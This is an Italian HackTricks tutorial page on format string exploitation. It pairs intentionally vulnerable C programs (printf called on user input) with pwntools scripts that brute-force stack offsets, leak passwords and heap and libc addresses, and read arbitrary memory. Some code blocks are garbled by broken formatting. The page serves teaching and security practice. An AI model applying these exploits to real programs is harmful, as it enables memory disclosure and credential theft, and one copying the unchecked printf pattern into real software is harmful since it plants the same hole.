Format Strings - Arbitrary Read Example
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Read Binary Start
Code
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Compilalo con:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- The offset è 11 perché impostando diversi As e usando brute-forcing con un loop che prova offset da 0 a 50 si è scoperto che a offset 11 e con 5 caratteri extra (pipes
|nel nostro caso), è possibile controllare un indirizzo completo. - Ho usato
%11$pcon padding finché non ho visto che l’indirizzo era tutto 0x4141414141414141 - Il format string payload è PRIMA dell’indirizzo perché la printf smette di leggere a un null byte, quindi se inviamo l’indirizzo e poi il format string, la printf non raggiungerà mai il format string perché verrà trovato un byte nullo prima
- L’indirizzo selezionato è 0x00400000 perché è dove il binary inizia (no PIE)
Leggere password
Binary vulnerabile con password nello stack e nella BSS
```c #includechar bss_password[20] = “hardcodedPassBSS”; // Password in BSS
int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];
printf(“Enter first password: “); scanf(”%19s“, input1);
printf(“Enter second password: “); scanf(”%19s“, input2);
// Vulnerable printf printf(input1); printf(“\n”);
// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }
return 0; }
</details>
Compilalo con:
```bash
clang -o fs-read fs-read.c -Wno-format-security
Leggere dallo stack
Il stack_password sarà memorizzato nello stack perché è una variabile locale, quindi basta abusare di printf per mostrare il contenuto dello stack. Questo exploit esegue un BF sulle prime 100 posizioni per leak le passwords dallo stack:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Nell’immagine si può vedere che possiamo leak la password dallo stack nella posizione 10th:
.png)
.png)
Leggere i dati
Eseguendo lo stesso exploit ma con %p invece di %s è possibile leak un heap address dallo stack in %25$p. Inoltre, confrontando the leaked address (0xaaaab7030894) con la posizione della password nella memory di quel process possiamo ottenere la differenza degli address:
Ora è il momento di capire come controllare 1 address nello stack per accedervi dalla seconda format string vulnerability:
Trova un address controllabile nello stack
```python from pwn import *def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)
for i in range(30): p = process(“./fs-read”)
heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)
password_addr = heap_leak_addr - 0x126a
print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”
p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()
</details>
È possibile vedere che in **try 14** con il passing usato possiamo controllare un indirizzo:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
<details>
<summary>Leak heap per leggere la password</summary>
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Automatizzare la scoperta dell’offset
Quando il layout dello stack cambia ad ogni esecuzione (full ASLR/PIE), bruteforcing degli offset manualmente è lento. pwntools espone FmtStr per rilevare automaticamente l’indice dell’argomento che raggiunge il nostro buffer controllato. La lambda dovrebbe restituire l’output del programma dopo aver inviato il payload candidato. Si ferma non appena può corrompere/osservare la memoria in modo affidabile.
from pwn import *
context.binary = elf = ELF('./fs-read', checksec=False)
# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
Puoi quindi riutilizzare offset per costruire payload di read/write arbitrari con fmtstr_payload, evitando il fuzzing manuale di %p.
PIE/libc leak poi arbitrary read
Nei binari moderni con PIE e ASLR, prima effettua il leak di un qualsiasi libc pointer (es. __libc_start_main+243 o setvbuf), calcola le basi, quindi posiziona il tuo target address dopo la format string. Questo evita che il %s venga troncato da null bytes all’interno del pointer.
Leak libc and read arbitrary address
```python from pwn import *elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
io = process()
leak libc address from stack (offset 25 from previous fuzz)
io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)
secret = libc.address + 0x1f7bc # adjust to your target
payload = f“%14$s|||“.encode() payload += p64(secret)
io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address
</details>
## Riferimenti
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>


